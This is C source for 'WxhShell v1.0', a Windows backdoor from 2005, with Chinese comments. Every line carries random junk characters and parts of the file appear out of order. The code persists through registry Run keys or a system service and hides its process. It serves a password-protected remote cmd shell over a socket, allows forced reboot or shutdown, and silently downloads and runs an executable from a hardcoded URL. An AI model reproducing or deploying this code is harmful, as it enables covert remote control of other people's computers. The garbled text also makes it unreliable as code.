    if(Boot(REBOOT)) *eP4dGe&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o zYI/b^  
    else { N::;J  
    closesocket(wsh); >{S$0D  
    ExitThread(0); l.x }I"tf  
    } i[pf*W0g  
    break; !iVFzG @m  
    } v~\45eEA  
  // 关机 ([Aq  
  case 'd': { IJ8DN@w9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :RsPGj6   
    if(Boot(SHUTDOWN)) ~@8d[Tb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r!^\Q7  
    else { F47n_JV!d  
    closesocket(wsh); i!3KG|V  
    ExitThread(0); _kHpM:;.  
    } C]fTV{  
    break; 6bNW1]rD  
    } ,[\(U!Z7:%  
  // 获取shell d_uy;-3  
  case 's': { *u/|NU&X  
    CmdShell(wsh); q4i8Sp>  
    closesocket(wsh); j6vZ{Fx;w  
    ExitThread(0); $:[BB ,$  
    break; #!jRY!2Vt  
  } >!1f`  
  // 退出 s8[9YfuW  
  case 'x': { e<4z)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?+5{HFx  
    CloseIt(wsh); I_G>W3  
    break; iyYY)roB  
    } h50StZ8Yr  
  // 离开 *BsDHq-F~  
  case 'q': { `M ygDG+u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d~jtWd|?  
    closesocket(wsh); aT#{t {gkA  
    WSACleanup(); hPz df*(8  
    exit(1); S=,1} XZ  
    break; J'yN' 0  
        } 1gm/{w6O  
  } O&w3@9KJ?  
  } {@5WeWlz~  
1bg@[YN!;  
  // 提示信息 @$d\5Q(G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i\;&CzC:  
} 8(5E<&JP  
  } `^L<db^A  
\>Rwg=Lh  
  return; .)> /!|i  
} 9>3Ltnn0  
sBtG}Mo)  
// shell模块句柄 MQ(/l_=zQ  
int CmdShell(SOCKET sock) W8$=a  
{ i?>> 9f@F  
STARTUPINFO si; B" m:<@ "  
ZeroMemory(&si,sizeof(si)); Kxc$wN<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O2]r]9sh*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8TZA T%4  
PROCESS_INFORMATION ProcessInfo; _MbVF>JOx  
char cmdline[]="cmd"; &8+6!TN7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v^W?o}W  
  return 0; IIQ3|eZ  
} v* ~%x  
fslk7RlSKg  
// 自身启动模式 NzAtdcwR  
int StartFromService(void) mK40 f  
{ NB5L{Gf6-  
typedef struct OF<n T  
{ @MZ6E$I  
  DWORD ExitStatus; W(a'^ #xe  
  DWORD PebBaseAddress; 62)lf2$1  
  DWORD AffinityMask; QP5:M!O<)  
  DWORD BasePriority; xrVZxK:!  
  ULONG UniqueProcessId; h2|vB+W-  
  ULONG InheritedFromUniqueProcessId; 9U9c"'g  
}   PROCESS_BASIC_INFORMATION; V,XP&,no\j  
;Nf hKu%K  
PROCNTQSIP NtQueryInformationProcess; 7lDaok  
)SL@ >Cij  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _RaVnMJKX4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "aWX:WL&}s  
CESe}^)n  
  HANDLE             hProcess; Wytvs*\`  
  PROCESS_BASIC_INFORMATION pbi; t7oz9fSz=?  
rfXF 01I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "UoCT7X  
  if(NULL == hInst ) return 0; ~I\r1Wj;  
O3C)N I\i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Dm`Ek3A7x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! jX+ox  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nhP~jJn  
I "Q9W|J_&  
  if (!NtQueryInformationProcess) return 0; ccN&h  
/cL9 ?k;o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FJjF*2 .  
  if(!hProcess) return 0; I6hhU;)C  
;;y@z[ >  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0^!,[oh6*  
i. u15$  
  CloseHandle(hProcess); Ag>>B9  
4-M6C 5#.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W}R=  
if(hProcess==NULL) return 0; +wz`_i)!  
[Yx-l;78  
HMODULE hMod; -wtTq ph'  
char procName[255]; p*AP 'cR  
unsigned long cbNeeded; 7o965h  
s;_#7x#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G{:af:5Fo  
UOLTCp?M;J  
  CloseHandle(hProcess); S0.- >"L  
t)oES>W1  
if(strstr(procName,"services")) return 1; // 以服务启动 (ciGLfNG  
K^,&ub.L)  
  return 0; // 注册表启动 cu479VzPx:  
} Ql#W /x,e  
Pzk[^z$C  
// 主模块 MOp=9d+N~  
int StartWxhshell(LPSTR lpCmdLine) @dE 3  
{ \2gvp6  
  SOCKET wsl; z6FbM^;;  
BOOL val=TRUE; Pa +AF  
  int port=0; %|`:5s-T%  
  struct sockaddr_in door; $dx1[ V+_  
6z p@#vYI  
  if(wscfg.ws_autoins) Install(); >uyeI&z  
c69U1  
port=atoi(lpCmdLine); 5S|}:~7T  
f gK2.;>  
if(port<=0) port=wscfg.ws_port; =e-a&Ep-z  
H;TOPtt2  
  WSADATA data; r|\5'ZMx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 zJrT5   
c]%;^)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VeNNsg>&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <i{m.p R>  
  door.sin_family = AF_INET; 8`AcS|k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&[) (On74  
  door.sin_port = htons(port); fR]p+\#8u*  
~>N`<S   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mc0sdb,c$  
closesocket(wsl); 3ZW/$KP/  
return 1; nJldz;  
} 12:h49AP  
Y91 e1PsV  
  if(listen(wsl,2) == INVALID_SOCKET) { `zElBD  
closesocket(wsl); @b ::6n/u  
return 1; OQytgXED  
} Edf=?K+\!i  
  Wxhshell(wsl); fB;&n  
  WSACleanup(); wc6 E- rB  
IKMs Y5i  
return 0; 36kc4=  
QoW ( tM  
} dT0^-XSY  
vWqyZ-p,q  
// 以NT服务方式启动 vI pO/m.3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2p$n*|T&c  
{ \yJZvhUk  
DWORD   status = 0; Vr&el  
  DWORD   specificError = 0xfffffff; RR[)UQ  
i$`|Y*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P;)2*:--)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dp"<KcP_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]97Xu_  
  serviceStatus.dwWin32ExitCode     = 0; .iOw0z  
  serviceStatus.dwServiceSpecificExitCode = 0; LKK{j,g7  
  serviceStatus.dwCheckPoint       = 0; <_BqpZ^`  
  serviceStatus.dwWaitHint       = 0; N<L$gw+)$D  
c*S#UD+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5}-)vsa`  
  if (hServiceStatusHandle==0) return; `YFkY^T  
&57qjA ,8<  
status = GetLastError(); sow bg<D  
  if (status!=NO_ERROR) `!UaScM  
{ tIi!* u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ap F*a$),  
    serviceStatus.dwCheckPoint       = 0; * ajFZI  
    serviceStatus.dwWaitHint       = 0; !7:EE,W~  
    serviceStatus.dwWin32ExitCode     = status; ~&wXXVK3  
    serviceStatus.dwServiceSpecificExitCode = specificError; E@5zd@[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o :.~X  
    return; [5]R?bQ0q{  
  } FX7Cjo#=R  
S_(&UeTC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |QnUK5D$  
  serviceStatus.dwCheckPoint       = 0; k9*J*7l-m  
  serviceStatus.dwWaitHint       = 0; ax-=n(   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^;V}l?J_s  
} QE7+rBa  
96.IuwL*.s  
// 处理NT服务事件,比如:启动、停止 SjZd0H0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3gxf~$)?  
{ U -Af7qO  
switch(fdwControl) #t"9TP  
{ M,b<B_$  
case SERVICE_CONTROL_STOP: 9>A-$a4R>  
  serviceStatus.dwWin32ExitCode = 0; u~#%P&3 _W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #@nZ4=/z  
  serviceStatus.dwCheckPoint   = 0; Mq+viU&   
  serviceStatus.dwWaitHint     = 0; C!$Xv&"r  
  { IT8B~I\OY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QT`fix{  
  } P\D[n-&  
  return; 68v xI|EZ  
case SERVICE_CONTROL_PAUSE: Q9` s_4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 06PhrPVa!\  
  break; /-DKV~  
case SERVICE_CONTROL_CONTINUE: DWF >b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ::p-9F  
  break; &tlR~?$e*  
case SERVICE_CONTROL_INTERROGATE: ,DE(5iDS  
  break; fs wZM\@  
}; Eem 2qKj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M.o?CX'  
} ,$HHaoo g  
,3G$`  
// 标准应用程序主函数 UqD5 A~w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fdd~e52f  
{ PLO\L W  
"F&Tnhh4  
// 获取操作系统版本 LTg?5GwD\j  
OsIsNt=GetOsVer(); l9]o\JFXk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Zc9yZl2  
Rb{+Ki  
  // 从命令行安装 /DLr(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4qqF v?O[r  
x2sN\tOh^  
  // 下载执行文件 V^j3y`K  
if(wscfg.ws_downexe) { 2;&mkc K'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?+3R^%`V  
  WinExec(wscfg.ws_filenam,SW_HIDE); \U==f &G?J  
} =ft9T&ciD  
\V._Z>]  
if(!OsIsNt) { R|/Wz/$1A  
// 如果时win9x,隐藏进程并且设置为注册表启动 #uQrJh1o8  
HideProc(); l>A\ V)  
StartWxhshell(lpCmdLine); jIKBgsiF/  
} cYsR0#  
else @[n2dmj  
  if(StartFromService()) ^%-NPo<  
  // 以服务方式启动 G=vN;e_$_b  
  StartServiceCtrlDispatcher(DispatchTable); g<M0|eX@~  
else eT;AAGql  
  // 普通方式启动 ?(]a*~rx  
  StartWxhshell(lpCmdLine); l#b:^3  
4+)Z k$E  
return 0; S*;#'j)4+  
} ERk kS Tp  
j6`6+W=S(  
$B<~0'6}  
! &Z*yH  
=========================================== !>\9t9  
;F|jG}M"  
x<8\-  
t9ER;.e  
>Ja0hS{*  
ggMUdlU  
" 3)dP7rmZ  
sc<kiL  
#include <stdio.h> A8J?A#R*{q  
#include <string.h> ',DeP>'%>  
#include <windows.h> Xu6jHJ@x  
#include <winsock2.h> JFe4/ V  
#include <winsvc.h> g .3f2w  
#include <urlmon.h> $,!hD\a  
JAN|aCzD  
#pragma comment (lib, "Ws2_32.lib") ,Ie<'>hd  
#pragma comment (lib, "urlmon.lib") tzZ|S<e6=\  
eDuX"/kHA  
#define MAX_USER   100 // 最大客户端连接数 Bhj:9%`  
#define BUF_SOCK   200 // sock buffer &.hoC Po$  
#define KEY_BUFF   255 // 输入 buffer JL@F~U9  
Lg8 ]dBXu  
#define REBOOT     0   // 重启 D4d]3|/T  
#define SHUTDOWN   1   // 关机 *`%4loW  
.Xi2G@D  
#define DEF_PORT   5000 // 监听端口 T)`gm{T  
#uB[&GG}W  
#define REG_LEN     16   // 注册表键长度 .hxin [Y  
#define SVC_LEN     80   // NT服务名长度 q{/*n]K  
S=4R5igrC  
// 从dll定义API V_jiOT!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +5#x6[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v Xc!Zg~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /=bSt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cY{I:MA+h@  
t`uc3ta"9  
// wxhshell配置信息 wtq,`'B  
struct WSCFG { V):`&@  
  int ws_port;         // 监听端口 R3cg2H  
  char ws_passstr[REG_LEN]; // 口令 fD0{ 5  
  int ws_autoins;       // 安装标记, 1=yes 0=no .6LS+[  
  char ws_regname[REG_LEN]; // 注册表键名 Sq<3Rw  
  char ws_svcname[REG_LEN]; // 服务名 :r\xkHg/f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 So?m?,!W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "8FSA`>=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y`({ .L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h5 j<u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TWtC-wI;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3=IG#6)~C  
l4zw]AYk+X  
}; ,eDu$8J9  
<H!O:Mf_p  
// default Wxhshell configuration a"k'm}hVY$  
struct WSCFG wscfg={DEF_PORT, |"_)zQ  
    "xuhuanlingzhe", )t 5;d  
    1, nYhp`!W4;  
    "Wxhshell", s~=g*99H  
    "Wxhshell", KLW&bJ$|j  
            "WxhShell Service", S3QaYq"v  
    "Wrsky Windows CmdShell Service", R#D#{ cC(  
    "Please Input Your Password: ", Y!F!@`%G  
  1, 'bl%Y).9w  
  "http://www.wrsky.com/wxhshell.exe", lz- iCZ  
  "Wxhshell.exe" <M=';h^w2  
    }; GZ <nXU>  
W|0My0y  
// 消息定义模块 sSNCosb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ),yH=6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b##1hm~+9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @bE~@4mOu  
char *msg_ws_ext="\n\rExit."; 3Qa?\C&4  
char *msg_ws_end="\n\rQuit."; ]uAS+shQ&  
char *msg_ws_boot="\n\rReboot..."; '\ XsTs#L  
char *msg_ws_poff="\n\rShutdown..."; gXF.on4B  
char *msg_ws_down="\n\rSave to "; f'i6QMk\&  
%TDXF_.[  
char *msg_ws_err="\n\rErr!"; J,9%%S8/C  
char *msg_ws_ok="\n\rOK!"; ]b> pI;  
(ZS/@He  
char ExeFile[MAX_PATH]; wz h.$?~  
int nUser = 0; fwy"w  
HANDLE handles[MAX_USER]; Q4=|@|U0  
int OsIsNt; tR5tPPw  
Hl/7(FJqc>  
SERVICE_STATUS       serviceStatus; zs0hXxTY:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  J+lGh9G  
sSz%V[X WL  
// 函数声明 %/Bvy*X&  
int Install(void); &/iFnYVhy  
int Uninstall(void); >2u y  
int DownloadFile(char *sURL, SOCKET wsh); lf6|.  
int Boot(int flag); XO%~6Us^  
void HideProc(void); O <>#>[  
int GetOsVer(void); vkuc8 li  
int Wxhshell(SOCKET wsl); m!0N"AjA  
void TalkWithClient(void *cs); ex!XB$X  
int CmdShell(SOCKET sock); :,47rN,qa  
int StartFromService(void); @R UP$  
int StartWxhshell(LPSTR lpCmdLine); UDM yyVd  
VcrVaBw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?|lIXz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Etss!_  
%6Rn4J^^  
// 数据结构和表定义 `/0u{[  
SERVICE_TABLE_ENTRY DispatchTable[] = W-ez[raY  
{ `On3/gU|  
{wscfg.ws_svcname, NTServiceMain}, P,U$ %C!  
{NULL, NULL} d- h"JZ9  
}; t{6ap+%L  
CIEJql?`  
// 自我安装 X% X$Y6  
int Install(void) ifvU"l  
{ GZ"&L?ti  
  char svExeFile[MAX_PATH]; ydB$4ZB3[  
  HKEY key; "ee'2O  
  strcpy(svExeFile,ExeFile); zA,/@/'(  
aLYLd/ KV  
// 如果是win9x系统,修改注册表设为自启动 'g~@"9'oe  
if(!OsIsNt) {   Y<aO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o)p[ C   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gJKKR]4*  
  RegCloseKey(key); u0g*O]Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Lyz_2q A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1|]xo3j"'  
  RegCloseKey(key); fx]eDA|$e  
  return 0; nc&Jmo7  
    } HA1]M`&  
  } O) 1E$#~  
} S+iP^*L,c  
else { $o"g73`3  
<}]{~y  
// 如果是NT以上系统,安装为系统服务 rd">JEK;;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rw]yKH  
if (schSCManager!=0) XGhwrI^  
{ |AC6sfA+  
  SC_HANDLE schService = CreateService  VGB-h'  
  ( VKNp,Lf  
  schSCManager, QLn+R(r  
  wscfg.ws_svcname, a*s\Em7f  
  wscfg.ws_svcdisp, 4\HsU9x  
  SERVICE_ALL_ACCESS, Z(`r-}f I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |(RZ/d<X\a  
  SERVICE_AUTO_START, "$DldHC  
  SERVICE_ERROR_NORMAL, c|Y!c!9F  
  svExeFile, R^6Zafp  
  NULL, Mi?}S6bp  
  NULL, m:3J!1  
  NULL, Z7KXWu+6`m  
  NULL, .jargvAL*  
  NULL {>h97}P  
  ); B4^`Sw  
  if (schService!=0) >(3'Tnu  
  { ~~q}cywBk  
  CloseServiceHandle(schService); {_(+>v"eJ  
  CloseServiceHandle(schSCManager); Zih ?Bm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,VWGq@o%  
  strcat(svExeFile,wscfg.ws_svcname); #%8 w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g|4w8ry  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nP;;MX:B  
  RegCloseKey(key); !k-` eJ|  
  return 0; 5 VKcV&D  
    } A0>x9XSkJ  
  } > H~6NBd5D  
  CloseServiceHandle(schSCManager); q]XHa,"  
} fhr-Y'  
} )!sa)\E?  
e#khl9j*bt  
return 1; )2V@p~k?  
} iadkH]w  
Z2bUs!0  
// 自我卸载 'hF@><sqk  
int Uninstall(void) |xeE3,8  
{ dyO E6Ex  
  HKEY key; s:b" \7  
c3#q0Ma  
if(!OsIsNt) { Vo >Xp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Eo8v$W\RB  
  RegDeleteValue(key,wscfg.ws_regname); vI|As+`$d  
  RegCloseKey(key); ESv:1o`?n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /WYh[XKe  
  RegDeleteValue(key,wscfg.ws_regname); dhtb?n{  
  RegCloseKey(key); OpQ8\[X+  
  return 0; 5r7h=[N  
  } $H;+}VQ  
} KoF iQ?  
} ^/a*.cu  
else { m|1n x  
?ZX!7^7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VDpxk$a  
if (schSCManager!=0) DEtf(lW_  
{ RHI&j~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3\+N`!  
  if (schService!=0) l;0y-m1  
  { A?,A( -0C  
  if(DeleteService(schService)!=0) { $:;%bjSI  
  CloseServiceHandle(schService); l[*sHi  
  CloseServiceHandle(schSCManager); F. T@)7  
  return 0; 'Sa!5h  
  } mgcN(n1  
  CloseServiceHandle(schService); { i;6vRr  
  } 7"K^H]6u30  
  CloseServiceHandle(schSCManager); aS/`A  
} mp:m`sh*i  
} L;yEz[#xaT  
/[?Jylj  
return 1; &O*ENpF  
} ]! )xr  
"i%jQL'.  
// 从指定url下载文件 [b;Uz|o  
int DownloadFile(char *sURL, SOCKET wsh) -l[jEJS}  
{ (}jL_E  
  HRESULT hr; 9I kUZW  
char seps[]= "/"; jCQho-1QN  
char *token; K(3&27sGN  
char *file; Y|RdzC M  
char myURL[MAX_PATH]; |X3">U +-  
char myFILE[MAX_PATH]; On%,l  
lwJipIO  
strcpy(myURL,sURL); 8K^f:)Qw  
  token=strtok(myURL,seps); aDveU)]=1  
  while(token!=NULL) +nQ!4  
  { <T4(H[9B  
    file=token; a.,i.2  
  token=strtok(NULL,seps); G=cNzr9  
  } f[}|rf  
<\ETPL,<  
GetCurrentDirectory(MAX_PATH,myFILE); 1Z 6SI>p  
strcat(myFILE, "\\"); !g2a|g   
strcat(myFILE, file); = UUd8,C/  
  send(wsh,myFILE,strlen(myFILE),0); =YHt9fb$c  
send(wsh,"...",3,0); j ug'g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j+Zt.KXjT  
  if(hr==S_OK) #_fY4vEO  
return 0; ?gG,t4D  
else >a@>N  
return 1; +?V0:Kz]  
jsZY{s=  
} pl\b-  
4>k I^  
// 系统电源模块 &CUC{t$VHX  
int Boot(int flag) 0'@u!m?  
{ lsFfb'>  
  HANDLE hToken; 7&#m]t^ ^  
  TOKEN_PRIVILEGES tkp; vgo{]:Aj{  
Mz\yPT;Y  
  if(OsIsNt) { )!a$#"'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^aptLJF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D'n7&Y  
    tkp.PrivilegeCount = 1; WW6yFriuW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u~}%1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _:%U_U  
if(flag==REBOOT) { !0Nf9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }4vjKSV  
  return 0; =GTD"*vwr  
} _[JkJwPTx  
else { 4=s9A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {MxnIg7'  
  return 0; `p1DaV  
} :x+ig5  
  } <m1sSghg  
  else { e?=elN  
if(flag==REBOOT) { 6w!e?B2/%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L=m:/qQL  
  return 0;  "l2bx  
} ]#5^&w)'  
else { 5[<F_"x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OpqNEo\  
  return 0; u<kD}  
} j6og3.H-  
} PI63RH8e  
gIBpOPr^d  
return 1; kO+s+ 55  
} %YCd%lAe,  
VF= Z`  
// win9x进程隐藏模块 <`+zvUx^?  
void HideProc(void) f?0D%pxc}&  
{ 1 7i$8  
y;:]F|%<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ((cb4IX  
  if ( hKernel != NULL ) 6Hn)pD#U  
  { m#MlH=-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P}l#VJWp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _uJVuCc  
    FreeLibrary(hKernel); >HIt}Zh  
  } r`[B@  
J | q^+K  
return; B kV(81"C  
} jN{Zw*  
H|K("AVP:  
// 获取操作系统版本 e/@29  
int GetOsVer(void) Y'JL(~|  
{ pZ\$50t&O  
  OSVERSIONINFO winfo; \gd6Yx^[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3&9zGy{V+  
  GetVersionEx(&winfo); quRPg)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `VXZ khm  
  return 1; - `4Ty*K  
  else ENyAF%6  
  return 0; 8 ?" Ze(  
} _4!{IdR  
&SrGh$:X  
// 客户端句柄模块 UM`nq;>  
int Wxhshell(SOCKET wsl) X(b1/lzA  
{ ig$jKou F  
  SOCKET wsh; x5PPu/  
  struct sockaddr_in client; /6jGt'^U  
  DWORD myID; tIp{},bQ^  
<N-=fad]  
  while(nUser<MAX_USER) wI>h%y-%!  
{ gWi{\x8dt  
  int nSize=sizeof(client); ZMe}M!V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =1/q)b,p)  
  if(wsh==INVALID_SOCKET) return 1; zv@bI~3~  
U3N(cFXn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Th/{x h  
if(handles[nUser]==0) ,02w@we5  
  closesocket(wsh); (JU_8j!  
else W]@6=OpH  
  nUser++; )^";BVY  
  } KqK9X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W\NG>t  
7$#rNYa,z  
  return 0; ke^d8Z.  
} *:[b'D!A  
h(|;\~  
// 关闭 socket Zd+>  
void CloseIt(SOCKET wsh) =+4 _j  
{ Hh@2m\HA  
closesocket(wsh); egWx9xX  
nUser--; o"\{OX  
ExitThread(0); p>&S7M/9  
} i3d y  
LGfmUb-{]  
// 客户端请求句柄 iU XM( ]  
void TalkWithClient(void *cs) AygvJeM_W  
{ $N dH*  
R|-j]Ne  
  SOCKET wsh=(SOCKET)cs; VAg68 EbnF  
  char pwd[SVC_LEN]; dxntGH< O  
  char cmd[KEY_BUFF]; EZ `}*Yrd  
char chr[1]; mV%h[~-  
int i,j; ]Ly8s#<g]N  
D Kq-C%  
  while (nUser < MAX_USER) { IW mHp]  
VRB~7\A5<)  
if(wscfg.ws_passstr) { x RB7lV*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ivD^HhG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CZ2iJy  
  //ZeroMemory(pwd,KEY_BUFF); 3@'lIV ?,q  
      i=0; ^1Yo-T(R  
  while(i<SVC_LEN) { uD[^K1Ag]^  
0H<4+ *`K  
  // 设置超时 Z7oaQ\fR  
  fd_set FdRead; @f%wd2  
  struct timeval TimeOut; SKW;MVC  
  FD_ZERO(&FdRead); GeVc\$K-  
  FD_SET(wsh,&FdRead); @~hz_Nm@8  
  TimeOut.tv_sec=8; Q8 4t9b  
  TimeOut.tv_usec=0; t +J)dr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zG<0CZQ8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "!^c  
a 1NCVZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C?S~L5a#oC  
  pwd=chr[0]; u,\xok"  
  if(chr[0]==0xd || chr[0]==0xa) { _Po#ZGm~  
  pwd=0; !bieo'c  
  break; 8| Sba<d  
  } ^h`!f vyH  
  i++; \1~I04'=  
    } )#Y|ngZ_>  
UFos E|r:  
  // 如果是非法用户,关闭 socket +*<K"H|,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ E >eq.m  
} 0T=jR{j!o  
uV!MW=)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C_C$5[~-:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9X.gg$P  
C5cFw/',  
while(1) { #c :9 V2  
VGfD;8]z  
  ZeroMemory(cmd,KEY_BUFF); e`vUK.UoW  
{;\%!I  
      // 自动支持客户端 telnet标准   <e[!3,%L  
  j=0; 3JTU^-S<  
  while(j<KEY_BUFF) { 9W$m D w6f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E $<;@  
  cmd[j]=chr[0]; ??q!jm-m  
  if(chr[0]==0xa || chr[0]==0xd) { {Qm6?H  
  cmd[j]=0; ipfm'aQ  
  break; 'H|;%J6d>  
  } k-io$  
  j++; yB|]LYh  
    } +A&EKk%$ |  
8Er[M  
  // 下载文件 7G?Ia%u  
